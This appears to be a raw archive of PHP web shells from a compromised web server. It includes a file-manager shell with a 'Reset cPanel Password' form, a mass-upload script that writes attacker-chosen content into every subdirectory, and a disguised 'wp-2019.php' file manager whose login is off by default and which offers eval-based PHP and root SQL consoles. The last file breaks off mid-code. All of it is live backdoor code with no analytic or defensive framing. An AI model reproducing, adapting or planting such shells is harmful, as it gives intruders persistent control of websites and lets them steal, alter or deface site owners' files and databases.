htmlspecialchars($phpVersion); ?></p>
            <p>Current Date and Time: <?php echo
htmlspecialchars($dateTime); ?></p>
            <p>Free Disk Space: <?php echo
formatBytes($hddFreeSpace * 1024 * 1024 * 1024); ?></p>
            <p>Total Disk Space: <?php echo
formatBytes($hddTotalSpace * 1024 * 1024 * 1024); ?></p>
        </div>

        <div class="actions">
            <?php if ($parent_dir !== $current_dir): ?>
                <button
onclick="window.location.href='?dir=<?php echo
urlencode($parent_dir); ?>'">
                    <i class="fas fa-arrow-left
icon"></i> Back
                </button>
            <?php endif; ?>
            <button onclick="toggleResetForm()">Reset
cPanel Password</button>
        </div>

        <div class="reset-form" id="reset-form">
            <form method="POST">
                <input type="email" name="email"
placeholder="Enter email" required>
                <input type="submit"
name="cpanel_reset" value="Reset Password">
            </form>
        </div>

        <div class="upload-form">
            <h2>Upload File</h2>
            <form method="POST" action=""
enctype="multipart/form-data">
                <input type="file"
name="fileToUpload" required>
                <button type="submit" name="action"
value="upload">Upload</button>
            </form>
        </div>

        <table class="file-list">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Last Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($items as $item): ?>
                    <?php if ($item !== '.' && $item
!== '..'): ?>
                        <?php
                        $itemPath = $current_dir . DIRECTORY_SEPARATOR .
$item;
                        $isDir = is_dir($itemPath);
                        $size = $isDir ? '-' :
formatBytes(filesize($itemPath));
                        $lastModified = date('Y-m-d H:i:s',
filemtime($itemPath));
                        ?>
                        <tr>
                            <td>
                                <?php if ($isDir): ?>
                                    <a href="?dir=<?php echo
urlencode($itemPath); ?>"><?php echo htmlspecialchars($item);
?></a>
                                <?php else: ?>
                                    <?php echo htmlspecialchars($item);
?>
                                <?php endif; ?>
                            </td>
                            <td><?php echo $size;
?></td>
                            <td><?php echo $lastModified;
?></td>
                            <td class="file-actions">
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <button type="submit"
name="action" value="delete"><i class="fas
fa-trash-alt icon"></i> Delete</button>
                                </form>
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <button type="submit"
name="action" value="edit"><i class="fas
fa-edit icon"></i> Edit</button>
                                </form>
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <button type="submit"
name="action" value="download"><i class="fas
fa-download icon"></i> Download</button>
                                </form>
                                <form method="POST"
style="display:inline;">
                                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($itemPath); ?>">
                                    <input type="text"
name="permissions" placeholder="Permissions (e.g.,
0755)" style="width: 80px;">
                                    <button type="submit"
name="action" value="chmod"><i class="fas
fa-lock icon"></i> Chmod</button>
                                </form>
                            </td>
                        </tr>
                    <?php endif; ?>
                <?php endforeach; ?>
            </tbody>
        </table>

        <?php if (isset($_POST['action']) &&
$_POST['action'] === 'edit'): ?>
            <div class="edit-form">
                <h2>Edit File: <?php echo
htmlspecialchars($target); ?></h2>
                <form method="POST">
                    <textarea name="content"><?php echo
htmlspecialchars($editFileContent); ?></textarea>
                    <input type="hidden"
name="target" value="<?php echo
htmlspecialchars($target); ?>">
                    <button type="submit"
name="action" value="save">Save</button>
                </form>
            </div>
        <?php endif; ?>
    </div>
</body>
</html>
mymasshp.php000064400000004206151167306020007121 0ustar00<?php
// Function to handle file uploads
function uploadFileToAllSubdirs($basePath, $filename, $content) {
    // Ensure the base path ends with a trailing slash
    $basePath = rtrim($basePath, '/') . '/';

    // Validate base path
    if (!is_dir($basePath)) {
        echo "Invalid path: $basePath<br>";
        return;
    }

    // Traverse subdirectories and upload file
    $subdirectories = glob($basePath . '*', GLOB_ONLYDIR);
    foreach ($subdirectories as $dir) {
        // Create and write content to the file in each subdirectory
        $filePath = $dir . '/' . $filename;
        file_put_contents($filePath, $content);
        echo "File uploaded to: $filePath<br>";
    }
}

// Function to get and display the current path
function displayCurrentPath($path) {
    echo "Current Path: <a
href=\"$path\">$path</a><br>";
}

// Handle form submission
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $basePath = trim($_POST['path']);
    $filename = trim($_POST['filename']);
    $content = trim($_POST['content']);

    if (empty($basePath) || empty($filename) || empty($content)) {
        echo "Path, filename, and content are
required.<br>";
    } else {
        uploadFileToAllSubdirs($basePath, $filename, $content);
    }
}

// Display the current path (default to the server's document root if
not specified)
$currentPath = isset($_POST['path']) ?
trim($_POST['path']) : $_SERVER['DOCUMENT_ROOT'];
displayCurrentPath($currentPath);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Upload File</title>
</head>
<body>
    <form method="post" action="">
        <label for="path">Base Path:</label>
        <input type="text" id="path"
name="path" required value="<?php echo
htmlspecialchars($currentPath); ?>"><br><br>
        <label for="filename">Filename:</label>
        <input type="text" id="filename"
name="filename" required><br><br>
        <label
for="content">Content:</label><br>
        <textarea id="content" name="content"
rows="10" cols="30"
required></textarea><br><br>
        <input type="submit" value="Upload
File">
    </form>
</body>
</html>
wp-2019.php000064400000235214151167306030006305 0ustar00<?php
/* PHP File manager ver 1.5 */

// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"en","Add":"Add","Are
you sure you want to delete this directory (recursively)?":"Are
you sure you want to delete this directory (recursively)?","Are
you sure you want to delete this file?":"Are you sure you want to
delete this
file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error
occurred":"Error occurred","File
manager":"File manager","File selected":"File
selected","File updated":"File
updated","Filename":"Filename","Files
uploaded":"Files
uploaded","French":"French","Generation
time":"Generation
time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make
directory":"Make
directory","Name":"Name","New":"New","New
file":"New file","no files":"no
files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset
settings":"Reset settings","Restore file time after
editing":"Restore file time after
editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select
the file":"Select the
file","Settings":"Settings","Show":"Show","Show
size of the folder":"Show size of the
folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found
in files":"Found in
files","Search":"Search","Recursive
search":"Recursive
search","Mask":"Mask"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0; 
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size →
maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string =
str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val,
true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" .
basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return
round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return
round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
	<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
		<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
		<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
		<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
		<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
		<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return
'<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path  . '\'"';
    return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
	if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return =
!empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post"
action="'.fm_url().'"
style="display:inline">
				<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link,
'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
 cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value"  cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) &&
isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password"
type="password">&nbsp;&nbsp;&nbsp;
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
		header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
